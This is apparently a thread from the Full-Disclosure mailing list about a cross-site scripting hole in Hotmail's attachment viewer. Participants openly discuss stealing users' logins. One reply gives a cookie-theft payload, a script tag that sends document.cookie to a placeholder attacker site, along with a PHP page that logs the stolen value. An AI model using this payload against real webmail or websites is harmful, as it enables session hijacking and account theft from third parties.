The problem here is that since this new window for attachments, you can not reach the domain for ask cookie, the document.cookie, is empty, you need to inject innerHTML for ask cookie, but yes it's possible. The window that opens attachments is not in the same domain so there's not cookie, so you have to make cross domain code that it's supposed not to be possible. So first you need to return to your main window and write some code to have access.

Ok I think I get what you are saying, however to use this vuln, would need to have a script running on a server some where that recieves the username and password? Or just based on what you have here this can be possible. If one does not have knowledge of java script, all the would have to do is use those various html codes you wrote and send that to them as an attachment, but how would I get the username and password ????
For example, this is a simple way to steal a cookie: Inject this code: <script>window.open('http://www.your-malware-website.com/givemecook.php?cook ='%2Bdocument.cookie);</script> And on "your-malware-website" put this page: givemecook.php: <? echo $HTTP_COOKIE_VARS["cook"]; ?> and so, the cookie will be logged in "your-malware-website"
I was testing this until I can get some working code, the authorization and validation of the site is one of the better that I seen on a mailing system, I never heard about vulnerabilities of hotmail as in others systems, I just have knowledge of two flaws discovered. One on 1999 is from George Guninski, and the other when the pwdreset function make its public, every year hotmail is updated, and getting more secure, and it's hard to believe that no one have found this before.
Try to play with this in hotmail http://seclists.org/lists/bugtraq/2005/Feb/0473.html Cheers, Jerome _______________________________________________ Full-Disclosure - We believe in it.
